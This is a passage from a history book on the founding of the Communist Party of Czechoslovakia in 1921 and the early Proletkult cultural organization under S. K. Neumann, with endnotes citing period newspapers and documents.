With regard to the topic of the book, it might be useful to mention a not very large, but still very interesting organization, which in late 1920 and early 1921 also undergoes a process of disintegration, caused by the formation of its communist faction. I am talking about the Realistic Club, formed mainly by supporters of the Progressive Party, who after the dissolution of the party in 1920 did not join the Czechoslovak Socialist Party. Toward the end of 1920, the Club, which was of a cultural and intellectual nature, faces a split regarding the view of the general strike and other related events. The Club's right wing, formed around Emanuel Rádl, rejected the December strike and the idea of the government of the people or revolution in general. In the Realistická stráž (Realistic Guard) magazine, Rádl writes: "People without leaders are an anonymous herd, of which it cannot be said that it is right or wrong."11
The opposing view of the social democratic left is assumed by Zdeneˇk Nejedlý, who supported the December strike. At the Realistic Club's congress on January 30, 1921, the two groups part. Nejedlý leaves the Realistic Club and establishes the Socialist Society, which in May of 1921 professed loyalty to the Communist Party. In the fall of 1921, Nejedlý's group starts to publish a communism-oriented cultural and political magazine called Var.
In early 1921, a strong communist wing also forms in the legionary movement. On January 23, 1921, the Union of Uncompromising Socialist Legionaries is founded. The pro-Soviet legionaries proclaim that "today's state of our government is not in keeping with the promises and ideas we had while abroad, as it only benefits the bourgeoisie and international capital. . . . We do not believe that the bourgeoisie would voluntarily give up its power in the state, therefore it is by force we need to take back the state, which we helped to build and which was taken over by foreign elements."12 At its congress on May 8, 1921, the Union renames itself the Union of Communist Legionaries.
Practically the last organization which hesitated with the acceptance of the conditions of the Communist International was the Czech social democratic Left, led by B. meral. I have already mentioned meral's hesitation about whether to rename the party to bear the attribute "communist." Connected with this hesitation is a list of seven points for the upcoming congress, a sort of an action program, which meral publishes on February 27, 1921, in Rudé právo newspaper:
1. Rejection of an isolated revolution given the current circumstances in Central Europe.
2. Rejection of the immediate establishment of a united, international Communist Party of Czechoslovakia.
3. Struggle against the tendencies of "national bolshevism."
4. Rejection of putschism. All political events must be connected with the activities of trade union organizations.
5. Trade unions and workers' physical education clubs shall not be fragmented,13 but permeated by uncompromising ideas.
6. The Communist International headquarters is to be represented by exceptionally capable comrades in Central and Western Europe, who would objectively report true news and would not be under the pressure of their own countries' fate, as was the case of some Hungarian comrades.14
7. Rejection of financial help from outside.
Especially the second point on the agenda faced criticism and protests, for example, by the Union of Communist Groups.15 On March 6, representatives of the Left passed a proposal of the delegates from Moravia to postpone the party's congress from late March to mid-May. The conference of Communist Women also denounced the procrastination in forming the Communist Party (in fact, there were two conferences—the Czech conference in Prague and the German one in Liberec) on March 12 and 13. The delegates suggested that in case of further delays, the Union of Communist Women should unite with German communists and join the Comintern separately, regardless of what happens in the Czech social democratic Left.16
Establishment of the
Communist Party of Czechoslovakia
An extraordinary congress under the name of the Fourteenth Congress of the Czechoslovak Social Democratic Workers' Party (the Left) convened on May 14, 1921, in the Municipal House in Karlín. The main speaker was
B. meral, who explained why he had postponed the formation of the party. The basic idea was that he did not want a rather small communist faction to split from social democracy, but rather he strived to transform it into a mass Communist Party. Therefore, he waited for the wave of nationalism which captivated Czech workers following the proclamation of an independent Czechoslovak state to subside. According to meral, "on October 28 the Czech proletariat revolted for social reasons, just as legionaries abroad; however, as a result of the disorientation caused by opportunism and social-patriotism, the Czech proletariat wrongly directed its revolt only against Austria, not taking the fight any further, against its bourgeoisie."17 According to meral, the current situation is suitable for the establishment of a mass Communist Party. meral's speech, in which among other things he analyzes the political situation in Europe, finished as follows: "We are more than a political party. We are the vanguard of a new life. We are creating a new system, and we also want to create a new type of people."18
Delegates of other communist institutions in Czechoslovakia also attended the congress. After the speech, a representative of the Union of Communist Groups, E. Vajtauer, accused meral of insincerity and cautiousness. Otherwise, the congress went as originally scheduled. Out of a total number of 569 delegates, only seven voted against joining the Communist International; all their names were put down in the proceedings from the congress. In its resolution on entry to the Third International, the congress announces the separation of the communist Left from the Social Democratic Party:
The congress of the Czechoslovak social democratic Left solemnly proclaims its support to unconditionally join the Third International in Moscow. As of this moment, the congress changes the name of the party from the social democratic Left to the Communist Party of Czechoslovakia, which in fact marks the actual departure from the party of social patriots. The delegates representing their organizations solemnly pledge under any circumstances to fulfill their obligations expressed in the twenty-one conditions.19
Immediately after the congress, meral came into conflict not only with the representatives of other movements that pledged allegiance to the united Communist Party, but also with Comintern's guidelines when he refused to summon the unifying congress of communist groups and organizations. meral based his decision on a conviction that the organizational unification of all communist organizations in a united international Communist Party of Czechoslovakia would be premature, and if it is not to be a formality, the party needs to proceed with caution.20 This position was criticized by the party's left wing (particularly Kreibich, Bolen, and Jílek), which demanded an immediate consolidation of all components, even at the expense of losing the mass character, which meral so doggedly insisted on. The conflict between the two groups was not resolved until the third congress of the Comintern held in Moscow on June 22, 1921.
Surprisingly smooth—especially considering the past conflicts and ideological differences—was the incorporation of the Union of Communist Groups into the Communist Party of Czechoslovakia, when at its Central Council meeting on June 24 it decided to wind up its existence. Its proclamation, published in the Cˇerven magazine, read:
The role of the Union of Communist Groups, rather ideological and moral than an organizational one, in fact finished at the moment when all Left wings of the Social Democratic Party proclaimed themselves to be part of the Communist Party. . . . It would be a mistake, if because of a lack of trust in this or that person [undoubtedly refers to meral], or this or that group, it would not be included in the party.21
The former anarchists fully submitted themselves (as we will see later, only for the sake of appearance) to party discipline and changed their original decision, according to which the Union was to be dissolved only at the unifying congress.
The third congress of the Communist International started on June 22, 1921. The Czechoslovak communist organizations sent to Moscow a delegation consisting of twenty-five members, led by meral, whose main goal was to achieve inclusion in the International. However, this was achieved prior to the congress itself at the joint meeting of the Czechoslovak delegation and the Executive Committee of the Third International on June 16 1921. On this occasion, the Executive Committee issued a statement on the situation in the communist movement in Czechoslovakia.
Trusting in the communist proletariat in Czechoslovakia, the Executive Committee turns to the Czechoslovak party to point out a number of phenomena which raise a concern: that is the centrist and semi-centrist tendency, which surfaced during the party's congress. While accepting the twenty-one conditions, the congress of the Czechoslovak Communist Party also included a speech by comrade meral, editor-in-chief of Rudé právo newspaper and a faction leader, who first of all strongly deflects from the views of the Communist International.22
The Executive Committee mainly criticized meral's resistance to a quick merger of all communist groups in a united party. On the other hand, not even the Left was spared criticism, especially K. Kreibich, whose views were considered a bit too leftist. It was the "leftist deviations" that the third congress of the Communist International targeted. The Executive Committee approved, although with reservations, the entry of the Communist Party of Czechoslovakia as well as its German section to the Comintern, but only on condition that the parties merge as one within three months.
It has already been mentioned that the congress of the Comintern dealt mainly with the problem of Menshevism, or leftist deviations, penetrating the communist movement. Any tendencies that led to the weakening of the mass character of communist parties were considered Menshevik. According to the conclusion of the congress, in the following period, the communist movement, under the motto of the so-called united front, was to gain support from the proletariat, the majority of whom stood outside the Communist Party. Communists were to set up factions in noncommunist trade unions, communist parties were to be built up on the structure of plant cells. The congress was the first sign of the Moscow Bolsheviks leaving the idea of a fast worldwide communist revolution.
Following the return of the Czechoslovak delegates from Moscow on August 27, 1921, a joint conference of Czechoslovak communist organizations was held, calling the unifying congress for October 30. Prior to the unifying congress, women's communist organizations agreed to unite at a conference held on October 15 and 16. Among the most crucial conclusions of the unifying congress, held in Prague from October 30 to November 4, was, apart from the decision on the merger of all communist organizations in the Communist Party of Czechoslovakia, also the approval of interim organizational rules, which cancelled the unelected board of representatives of the party and transferred all decisive power to the party's executive committee. A centralized network of communist organizations, ranging from local committees to the congress of the party, was also set up.
At the end of 1921, a powerful political party with massive following is established in Czechoslovakia, whose actions are almost completely subordinated to the decisions of the Moscow headquarters of the Comintern. What is very important is that not even after the unification could the Communist Party of Czechoslovakia be considered a homogenous organization. All through the 1920s, various influences and ideological differences appear throughout the organization, given by the varied development and the history of individual segments, which under pressure from the Comintern's leadership are gradually dissolved or expelled from the party if their supporters are not willing to sufficiently quickly and consistently change their views and align them with the requirements coming from Moscow.
Notes
1. Representatives of the Czech, Slovak, German, Hungarian, and Ukrainian Left were present at the conference.
2. Rudé právo, 4 January 1921, 1.
3. Cˇerven, 13 January 1921, 1.
4. Eighty-eight Slovaks, thirty-six Hungarians, fifteen Germans, six Ukrainians (Ruthenians), and four representatives of the Jewish party Poale Sion.
5. Koloman Gajan, Prˇíspeˇvek ke vzniku KSCˇ—Od prosincové generální stávky do slucˇovacího sjezdu KSCˇ (Prague: Státní nakladatelství politické literatury, 1954), 41.
6. Rudé právo, 14 April 1921, 1–2.
7. Cˇerven, 20 January 1921.
8. Protokoll der Verhandlungen des Gründungs—Parteitages und der Frauenreichskonferenzder Kommunistischen Partei der Tschechoslowakei (Deutsche Abteilung), Sektion der Kommunistischen Internationale, abgehalten in Reichenberg (Neu Paulsdorf) von 12. März bis zum 15. März 1921 (Reichenberg (Liberec): Verlag Runge, 1921), 98.
9. The use of religious terminology in a communist resolution is quite unusual.
10. Protokoll der Verhandlungen des Gründungs—Parteitages und der Frauenreichskonferenzder Kommunistischen Partei der Tschechoslowakei (Deutsche Abteilung), Sektion der Kommunistischen Internationale, abgehalten in Reichenberg (Neu Paulsdorf) von 12. März bis zum 15. März 1921, 12.
11. Realistická stráž, 15 January 1921, 7.
12. Qtd. in Gajan, Prˇíspeˇvek ke vzniku KSCˇ, 173.
13. In fact, the only common organization with social democracy.
14. Clearly a reference to the practices of B. Kun and other campaigners of the Comintern.
15. " meral Speaks— meral Condemns Himself," Cˇerven, 10 March 1921, 589.
16. Gajan, Prˇíspeˇvek ke vzniku KSCˇ, 185–86.
17. Qtd. in Gajan, Prˇíspeˇvek ke vzniku KSCˇ, 197.
18. Qtd. in Gajan, Prˇíspeˇvek ke vzniku KSCˇ, 206.
19. "Resolution on the entry of the Communist Party of Czechoslovakia to the Third International," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924 (Prague: Státní nakladatelství politické literatury, 1954), 133.
20. Gajan, Prˇíspeˇvek ke vzniku KSCˇ, 212.
21. Cˇerven, 7 July 1921, 208.
22. Komunista, 8 July 1921, 1.
# Chapter 7
## Proletarian Culture
Leftist Cultural Clubs and Organizations
Just as the establishment of the Marxist, or proto-communist organizations took place on the political field, communist-affiliated organizations and clubs were not spared this initial, rather unsettled and continuously indescribable phase either. In the same way as during the process of the formation of the Communist Party, and also during the creation of the structure of leftist cultural organizations, anarchist communist groups, later transformed into the Association of Communist Groups, played a much more active, and in this case undoubtedly also more important role than the social democratic left.
Stanislav Kostka Neumann was unquestionably the most prominent person and a spiritual leader who concerned himself with left-wing culture as early as the end of the nineteenth century. His name appears in connection with all major events in the Communist Party during the era of the First Republic. As an advocate of anarchism, Neumann was imprisoned in the last years of the nineteenth century, and during the first decade of the twentieth century he criticized social democrats for their negative relationship and animosity toward the intelligentsia.1
Following his return from the war, Neumann established the Cˇerven and Kmen magazines, which served as the tribune for the best Czech poets and writers. The magazines provided young authors, for whom Neumann was somewhat of an idol, with room to write. Neumann was also present at the foundation of the first significant association of leftist artists; on July 6, 1919, the aforementioned Socialist Council of Public Education Workers was founded. Leftist writers founded a free association of socialist artists and in their proclamation declared that they wanted to contribute with all their might to the fight for the socialist republic. Middle-generation writers used this declaration, addressed to the entire productive working class in the Czechoslovak Republic, to proclaim allegiance to the Marxist left, and proclamatively conformed all their actions to its needs. Leftist cultural and political organizations during this time usually came into existence spontaneously and in an unorganized way. Various communist-oriented arts, sports, and educational clubs were formed among workers; however, these never achieved massive proportions and were not even recognized as the general form of cultural organization in the Marxist left.2
With respect to the topic of the publication, we cannot fail to mention the birth of the Deveˇtsil Artistic Federation, which was officially founded on October 5, 1920, at the Krˇemencova Street grammar school, and among whose first members we find several prominent names. Deveˇtsil's chairman was Vladislav Vancˇura, while the members were, among others, Karel Teige, Adolf Hoffmeister, and Karel Vaneˇk. Writings by Deveˇtsil members virtually right after the organization's establishment appeared on the pages of the Cˇerven magazine, and its members did nothing to conceal their leftist, or revolutionary and pro-Soviet opinions.
Overall, it can be said that the majority of clubs, with various intellectual standards and membership base, were not incorporated into the party structures of the social democratic left until 1921, and conducted their activities on their own. The exception were anarchist communist clubs, or the Association of Communist Groups, which thanks to S. K. Neumann and other artists associated with the Cˇerven magazine in 1919 and 1920 gained a more solid structure.
Proletarian Culture
When in the mid-1920s the wave of enthusiasm for proletarian poetry subsided, Karel Cˇapek attempted a study to define what exactly proletarian art was.3 I have mentioned Cˇapek's opinion because he did not take part in the dispute over the character and content of proletarian art and thus kept a sober and, most importantly, impartial stance, although he did intervene in the dispute over the form of proletarian art several times. Let us leave aside his assessment of proletarian art, which at this time would not be based on the knowledge of some important phenomena, but let us rather pay attention to the classification of Cˇapek's definition of proletarian art. In his view, there are four ways of understanding what proletarian art is:
1. Art produced by the proletariat;
2. A work of art about the proletariat;
3. A work of art for the proletariat;
4. Art based on the spirit accompanying the rise of the proletariat (collectiveness, spirit of revolution, internationalism).
Proletarian art was in no way a thing of one generation—the age difference between its protagonists was up to thirty years—but still the individual generations' views of the contents and goals of proletarian art varied, which often resulted in major differences of opinion. Therefore, it can be stated a priori that proletarian art was not a homogenous ideological stream, but its ideological modifications depended on specific artistic personalities.
In the initial phase, artists who accepted the idea of proletarian art expressed their views in Neumann's Cˇerven magazine. It was no coincidence that the first articles dealing with the problem of proletarian culture were published in Cˇerven. Already in March of 1919, in Cˇerven's Documentary section, the arts program of the commissariat for Russia's public education was published. The program came into being in Soviet Russia in November of 1918 under the supervision of people's commissar A. Lunacharsky. As of August of 1919, Cˇerven published a series of Lunacharsky's articles entitled "Cultural Goals of the Working Class." At this stage, neither Neumann nor anyone else attempted to come up with their own definition of proletarian art.
In mid-1919, the social democratic left and its paper, Sociální demokrat, declared its support for the idea of proletarian culture. In June of 1919, its editors established the Council of Intellectual Workers.
The time in which the proletariat gains in weight and is often a decisive voice in the Czechoslovak Republic, it requires even the intellectual force among the proletariat to be brought together to strive to create what we call proletarian culture, which springs from the very substance of the nation's core, the Czechoslovak people, of all proletarians in the Czechoslovak Republic. . . . [Proletarian culture] must come from down below, from the needs, the pain and the anxiety of the Czechoslovak proletariat. . . . An example of this new culture in Russia, embodied in practice and in spite of the enormous obstacles, which have brought beautiful and beneficial results, is the work of the people's commissar A. Lunacharsky. . . . The undersigned form the Council of Intellectual Workers, which is to monitor all cultural, arts and ethical issues. To educate, enlighten and create—that is our eager wish.4
However, the Council never actually took any action, and there is no mention of its activities in Sociální demokrat until February of 1920. This fact only proves that for the social democratic left, culture at this stage was of secondary concern and that it concentrated more or less exclusively on political issues.
The group around Cˇerven, which later transformed into the Association of Communist Groups, further promoted the ideas of proletarian culture and tried to establish contact with representatives of an organization which in their opinion stood alone in promoting these ideas—the Soviet Proletkult, founded by A. Lunacharsky, which "should have been an institute of proletarian culture, a laboratory, where a new art form was supposed to originate and from where it should have spread."5 According to J. Weil, Proletkult soon changed its focus and its activities were cut back. "The main core of Proletkult's work is the same everywhere: revolutionary cultural production, the collection of emerging elements of the new culture in life, science, art, development and systematization."6 In Weil's opinion, the originally creative work, which should have been performed by autonomous local organizations of Proletkult, changed to organized work, centrally managed from the head office.
Proletkult was also close to the left wing of the social democratic party, which considered the role of a communist, or rather proletarian artist differently from Neumann and other artists associated with Cˇerven. An article entitled "Main Ideas or Proletkult" was published in the Sociální demokrat paper in February of 1920. Among other things, the article stated: "Proletkult is not based on the opinion that poets, painters and musicians must only become creative through divine grace. On the contrary: just as part of the economic production falls on everyone, so should a share of art be available for everyone as well. The beautiful must enter our lives, the workshops, and every worker, if at least a little capable, should take a creative and artistic approach in his or her profession. . . . Thus art, having descended from the heights, shall become part of every man's daily life. It will be possible for a worker not only to use his or her skills in production, but also create the product, so far a dead object for him, through his ideas and suggestions. Therefore, Proletkult studists (student workers in Soviet Russia) shall remain in companies, where they can operate in the sense of acquired culture. The current studists are pioneers of the new era."7 It is clear that mainly due to the authors' ignorance, Proletkult's evaluation and its prospects and expectations in terms of proletarian culture ranged between utopian and nonsensical.
S. K. Neumann took a much more pragmatic approach when, as an editor of the Kmen and Cˇerven magazines, he decided to press the ideas of proletarian culture in real life. In the October 1920 issue of the Kmen magazine, Neumann published an article entitled "To Poets," in which he declared the beginning of censorship of young authors. Among other things, the article said: "Starting with the next issue of Kmen, we shall no longer publish poems by young poets unless: 1) they are clear in form and understandable to an ordinary reader, and 2) they consciously and with the contents clearly declare support for the socialist state and social revolution."8 By doing this, Neumann made it impossible for some young writers to publish in magazines he controlled and transformed Kmen into a sort of artistic institution of the Marxist left. At the same time, he hinted at what type of art he considered social (meaning proletarian). This art form was supposed to be understandable to all people. Its contents were to be based on predetermined clichés.9 In terms of form, authors of proletarian works were supposed to use primarily the descriptive style, which was later called socialist realism.
One of the best literary critics of that time, A. M. Píša, who himself was involved in Neumann's Cˇerven, opposed Neumann's requirements. In the article "Socialist Poetry" he wrote: "Every creative act is social. . . . Let us not imagine socialist art production in the role of a promoter of common political postulates."10 In the article, Píša mentions what many supporters of simple and campaigning proletarian art had forgotten—whether intentionally or not—which is that art has an existence of its own, which cannot be subjected to the need for political agitation. Many authors around S. K. Neumann later realized this fact (Hora, Olbracht, Malírˇová); however, Neumann himself stood by his opinion until the end of his life, which brought complications to many leftist authors especially after WWII.
In 1920 there was no specific danger involved in disagreeing with Neumann's concept of proletarian art. The most prominent representatives of this different concept were artists brought together in the Deveˇtsil Artistic Federation. Following its establishment in May of 1920, Deveˇtsil attracted other young artists and commenced its own cultural and educational activities. On December 6, 1920, an article entitled "U. S. Deveˇtsil" was published in the Pražské pondeˇlí magazine, which informed of Deveˇtsil's existence and goals. According to the authors of the article, an individual cannot achieve great success either in terms of organization or art, which is why it is necessary to unite all left-oriented artists. In their program, members of Deveˇtsil promised to organize lectures, recitals, theater performances, almanacs, and so on. There is an important mention of proletarian art, which is directed at Neumann's "monopoly": "To its activities [meaning Deveˇtsil], particularly to the series of lectures called Proletarian Culture, an invitation was, among others, extended to S. K. Neumann."
As the most expressive representative of the new generation of leftist artists, Deveˇtsil supported the idea of proletarian culture; however, it took quite some time before this rather inconsistent association managed to formulate its ideas of what proletarian culture was. Meanwhile, Deveˇtsil searched for its collective face. Over a period of time, Karel Teige, a literary critic and art theoretician with an extensive general education, became Deveˇtsil's ideologist and driving force. It was Teige who shifted Deveˇtsil to proletarian art, based on theoretical assumptions. Teige regarded Marxism as the most modern philosophical movement and therefore he also considered art based on Marxism the most modern.11 However, the art production of individual members of Deveˇtsil was inspired by different modern artistic styles, which resulted in criticism by Neumann and other "realists," who rejected such work for its incomprehensibility to the ordinary person.
Deveˇtsil was not ideologically unified, either. Especially many Moravian members of the Association did not share Teige's Marxist views; they did not identify with the ideas of the proletarian revolution. This, among other things, led to the formation of a splinter Literary Group in Prˇerov in 1921, whose spokesperson was F. Goetz. The group leaned toward utopian socialism.
Proletkult
Immediately before the Constituent Congress of the Czechoslovak Communist Party, S. K. Neumann presented the idea of Proletkult. His proposal was to build it up based on the Soviet example; however, at the same time he wanted to imprint his own ideas on it. In Russia, Proletkult served as an educational and promotional institution of the Bolshevik party. Artists only conformed to the role which they were supposed to play in favor of communism. Neumann published an article in the Cˇerven magazine entitled "Proletarian Culture," in which he analyzed the role of Proletkult: "Proletkult's role cannot be the suicidal attempt to teach the entire work force to rhyme, draw or play the piano . . . , its purpose is to multiply the creative force serving the proletariat and discover the latent genius hidden within."12 Here Neumann slightly abandoned his requirement for understandable art; however, this change of heart was only illusive. As the prominent person of the next Proletkult he always rigorously advocated the principle of understandable art for the masses against Teige's art by proclamative communist artists, that is, art as per Cˇapek's category 4 definition.
In Cˇerven's fourth year, the magazine's subtitle read "Proletkult—
communism—literature—new art," which clearly indicated in which direction Neumann wanted to take the magazine. Already in the first issue of its fourth year, the magazine defined its role in promoting proletarian culture as follows: "The foundation of a unified Communist Party is a matter of a short while. . . . The tasks will be divided; there will be no more tactical differences so strong as to use up all the strength and cause decomposition everywhere. The strictly political role that Cˇerven played will be finished. . . .
It is up to the politicians to lead this force now. It is the job of the cultural workers to continuously uplift the quality of the whole. . . . We could say that Cˇerven will become the first attempt at an exclusively Komunistická revue, but the word revue is too broad, compromised and bourgeois.13 We want a lively and belligerent magazine."14 Thus, Neumann once again voices his conviction that he represents a sort of an avant-garde, which has a license for the only truly leftist culture. With this attitude he inevitably came into conflict with the political leaders of the Communist Party. At this stage, however, the disagreement in the cultural-political field was not apparent and following the constituent congress of the Czechoslovak Communist Party, Neumann actively participated in the centralized cultural organization of the party—the Proletkult.
Proletkult was founded in August of 1921 as the unified cultural organization of the Communist Party. In the Rudé právo (Red Law) newspaper of August 14, 1921, we can read: "Based on the resolution of the executive committee of the Communist Party in the Czechoslovak Republic (Czechoslovak department), we have founded a unified and concentrated organization for proletarian culture, Proletkult."15 According to the preparatory committee headed by S. K. Neumann, all cultural organizations supporting the Communist Party were to be gradually acquired by the unified organization of Proletkult. According to the article, Proletkult was supposed to concern itself with science, physical education, art, and education. Among other things, a proletarian university was supposed to be established—The Prague Communist College.
Neumann considered Cˇerven a press institute of Proletkult. In September, an article entitled "Proletkult" was published in Cˇerven, which read:
With the announcement released in Rudé právo newspaper on August 14, after much deliberation, an organization of proletarian culture in the communist sense of the word was finally established. . . . The organization of Proletkult itself will unavoidably be complicated; besides that, it will be necessary to ensure the safe inclusion of Proletkult in the Communist Party, which is currently working on its definitive organizational structure. . . . There will certainly be comrades who, no matter what Proletkult does, will consider its actions useless and not revolutionary, because they will not be rude, dull and noisy. And on the other hand, there will be bourgeois-bred experts, who will consider all actions of Proletkult superficial and wrong, because they will view them as one-dimensional, revolutionary, Marxist and avoiding all unproductive expert philosophizing.16
With this declaration, Neumann a priori denounced any criticism or disagreement with his concept of proletarian culture, yet at the same time he perhaps unknowingly demonstrated the coarseness and rudeness of the communist movement.
Virtually from the very beginning, disputes over Proletkult's form sprung up. While the party establishment envisioned it as a unified, centralized organization of all communist cultural activities, there were a number of clubs who did not like the idea of being dissolved in Proletkult and toyed with the idea of forming a sort of autonomous confederation of communist cultural organizations, only formally included in Proletkult. These disputes are mentioned, for example, by J. Hora in his article "On Cultural Activities in the Party," which was published on September 23, 1921, in Komunista17 magazine. According to Hora, "politicians and party organizers envision it (Proletkult) . . . as a cultural and educational action force, which is to ensure the expansion of communist knowledge and understanding, scientific and social upbringing of party members, for which it forms various divisions and sections. This force is part of the communist party."18 Hora then continues that those who came up with the idea of Proletkult, including Neumann, have a different concept. "The comrades on whose initiative Proletkult was founded envision its organization somewhat differently. In their opinion, Proletkult is to become a confederation of various organizational units of the party." In the final part of the article, published a week later,19 Hora demands that Proletkult be included in the organizational structure of the communist party and be subject to its leadership. "Only when the existing cultural and press organizations of the party dissolve in it and become united, will we finally see how much work, which the old social democrats failed to do, there is to be performed by the cultural workers of the party," Hora adds at the end.
Toward the end of 1921, Neumann closed the Cˇerven magazine down so that "it would be possible to start anew in the new year!"20 According to Neumann, "Cˇerven has already concluded its role as a magazine for individuals, standing outside the party lines: as an editor I can now merely take part in creating collective work, and thus hopefully give rise to an institute of proletarian culture in the Czechoslovak Republic. . . . The institute of Czechoslovak Proletkult must become a collective achievement, a reflection of the intellectual power and efforts of our communism. Its direction will be determined by the needs of the proletariat, not by the will of an individual or the interest of intellectual groups, more or less leaning on bourgeois ideology." Thus Neumann proclamatively distanced himself from the opinions which he had promoted in mid-1921, that is, that it was him and a group of leftist intellectuals around Cˇerven who were predestined to organize the cultural policy of the communist party in Czechoslovakia. The merger of the Cˇerven and Komunista magazines gave rise to the Proletkult magazine, with Neumann as its editor.
In the first issue of Proletkult, subtitled "the Czechoslovak Communist Party's Weekly for Proletarian Culture," Neumann defines its goals: "The Proletkult weekly, as a central institute of proletarian culture in Czechoslovakia, will be a willing and impartial, but also a consistently communist support for the party's cultural efforts . . . it must take into consideration the wider masses (unlike Cˇerven) and meet their needs."21 On the one hand, Neumann declares impartiality, but on the other hand Proletkult is considered a press institute of the Communist Party and is subject to its supervision. According to Proletkult's organizational rules, a special cultural, educational, and promotional group was supposed to be established in every major city as part of the central Proletkult, with mandatory membership for all cultural workers, that is, writers, editors, teachers, and scientists, who were members of the Communist Party. "The responsibility of the cultural, educational and promotional groups is to ensure the entrenchment of communist knowledge and understanding, both theoretically and practically. Besides that, they should look after the social as well as scientific revolutionary education of all party members in their respective location."22 What is interesting is that Neumann encouraged organizers of the local branches of Proletkult to avoid using the word cell to refer to themselves.
Evidence of Proletkult's inclusion in the Communist Party and the fact that its activities were controlled by the party's leadership lies in the foundation of the so-called cultural committee of Proletkult, appointed by the executive committee of KSCˇ as an "advisory board, which is to meet when needed and shall not convene excessively." Interestingly enough, S. K. Neumann, an editor of the Proletkult magazine, was not a member of the cultural committee.23 The central executive committee issued an ordinance on January 24, 1922, which stated that "all lectures, courses and educational activities must be held under the auspices of Proletkult and with the knowledge of the respective political organization."24
There is no doubt that Neumann managed Proletkult similarly as he controlled the Cˇerven magazine, that is, that he carefully saw to it that its contents were in line with his view of proletarian culture. This approach of his was subject to criticism by some, for example, this is what F. Peroutka wrote about Neumann: "As our censor confiscates the work of Bezrucˇ and Havlícˇek, in Proletkult S. K. Neumann confiscates Neruda's poems on the suspicion of counter-revolutionary spirit."25
From its very beginnings, the Proletkult magazine encountered problems, especially low readership. Therefore, the magazine often contained appeals encouraging people to increase the number of issues of their subscription, which was considered mandatory. Fast centralization by way of the voluntary merger of cultural clubs and organizations was not very successful, either. The idea that all independent, although proclamatively communist organizations will smoothly and of their own will give up their independence and also their financial resources to be dissolved in the party-led Proletkult encountered resistance. Thus, the KSCˇ leadership was forced to use its influence to achieve unification. Under its supervision, agreements between individual organizations and Proletkult were subsequently concluded. An example of such a deal is the Agreement between the representatives of the KSCˇ executive committee, Proletkult and the Federation of Communist Public Education Associations, signed at a joint meeting on May 15, 1922. According to the Agreement, the Federation of Cultural and Public Education Associations kept its autonomous status and was given space in the party press, however, it could only deal with atheistic issues.26 This agreement clearly proves that the KSCˇ leadership was initially reluctant to execute the mergers forcibly. "The Federation of Cultural and Public Education Associations cannot be suddenly closed down, but temporary measures need to be taken to ensure its merger with Proletkult."27
Neumann himself tried to speed up the process of organizational merger, especially with regards to the upcoming congress of the Communist Party. In August of 1922, his article in Proletkult read:
It is crucial that the organizational framework of Proletkult be finished by the end of the summer, so that we can all start regular work in the fall. We encourage comrades and locations interested in the idea of Proletkult to speed up the process at their regional committees and demand that regional Proletkults be founded immediately. As soon as the regional Proletkults are organized, it will be possible to proceed with the formation of a network of local Proletkults, which have been growing and spreading only randomly and unsystematically. We need to represent a completed organization at the party's upcoming congress, at least in terms of extent and number.28
In the same period, a dispute started firstly between the Communist Party leadership and Proletkult and then with the Federation of Workers' and Sports Organizations. The reason behind the dispute was the Federation's request for a grant for its activities. On September 4, Proletkult's cultural committee convened to deal with this request and issued the following statement: "The central Proletkult (the cultural committee and the secretariat) forbids all of Proletkult's sections from requesting or accepting direct governmental funding, as it contradicts communist honor and it threatens the revolutionary future of the party. Proletkult's head office asked the central executive committee of KSCˇ to issue the same ban for all organizational units of the party."29
Even before the regular congress, Neumann as well as the entire Proletkult faced continual criticism from some of the party's representatives, especially A. Zápotocký and J. Skalák, for whom Proletkult was an intellectual and reformist organization. Neumann tried to oppose this criticism. In his article "Against Demagogy," he says:
It is the first sign of demagogy to say that the management of all things should only be in the hands of workers, while forgetting about qualified staff, or if you like, to have all the professional employees of the party become mere henchmen of the merely manual labor staff. . . . If some comrades think that the party's revolutionary spirit would be strengthened and guaranteed if only workers were in charge, that is a big mistake: there are only two types of revolutionaries, natural born ones and opportunists, and the clothes that people wear cannot change that.30
Also in other issues we can find advocacy of Proletkult's existence and activities. An article entitled "Struggles, Goals and Achievements of KSCˇ's Proletkult," signed by the pseudonym of Lokalides, states: "Some comrade leaders from various sections of our party do not view Proletkult as a superstructure of educational and promotional work, whose task is to concentrate this work, discipline it and give it its true communist backbone, but rather as some kind of a novelty, a new club, which perhaps wants to compete with some sections or individuals."31 In its follow-up, released in the next issue, the author complains about the conduct of the Federation of the Workers' and Sports Organizations, which often failed to respect Proletkult as an institute of the party. "Proletkult was designed by its founders as a supervisory and harmonizing superstructure above the promotional and educational sections of KSCˇ. Proletkult is not one of these sections, but a party-wide institution."32
All these articles show that Proletkult was considered by many members, as well as entire sections of the Communist Party, a foreign object, some kind of elitist group of intellectuals, and which made matters even worse, led by a former anarchist, Neumann, who permanently got into disputes. To provide a typical example of why Neumann was regarded as an elitist, here is an epilogue to the first volume of the Proletkult magazine, in which Neumann reacts to criticism that the magazine is often incomprehensible to the general masses:
Proletkult as the central institute of education and promotion is not intended for the widest circle of comrades, but only for that part which through its self-education managed to reach such a level as to be able to follow the expert explications of certain questions, so important for us communists, in every detail. . . . Proletkult cannot become an institute for the masses, and this should be considered in the judgment of its comprehensibility. We are convinced that it is comprehensible for those it is intended for.33
With this statement Neumann contradicts his own reasons for closing down the Cˇerven magazine, in which a year before he had claimed that the contents of the Proletkult magazine would be decided by the proletariat. At the end of 1922, Neumann was once again the elitist anarchist communist usurping license for the only possible truth.
Initially, Proletkult was included in the agenda of the first regular congress of the KSCˇ, held on February 2 to 5, 1923. However, Neumann, somewhat disenchanted, later wrote that "by request of the party leadership, the paper on Proletkult was cancelled. . . . Proletkult was mentioned only as part of Mr. meral's report, which presented a suggestion of Proletkult's organizational rules."34 During the discussion about Proletkult's organizational rules, members of the Communist Youth League attacked the organization's activities and called them cultural-reformist and demanded its immediate incorporation into the structure of the communist party. Neumann defended Proletkult against this attack: "The struggle which Proletkult, or better yet, its head office has led with various organizations and individuals has always been conducted by Proletkult in such a way as to ensure its organic incorporation into the party and to make sure that Marxist-communist education would suppress all cultural-reformist efforts of individuals or organizations."35 Subsequently, Neumann unscrupulously attacked the Communist Youth League: "What is officially called Communist Youth in our country is represented by several German and Hungarian comrades who are not sufficiently informed about the conditions in most of our organizations and are not familiar with the Czech element in the country."36 In the end, in his self-criticism Neumann admits poor communication with local and regional Proletkults. In Neumann's opinion, this drawback should have been resolved by a general conference of Proletkult.
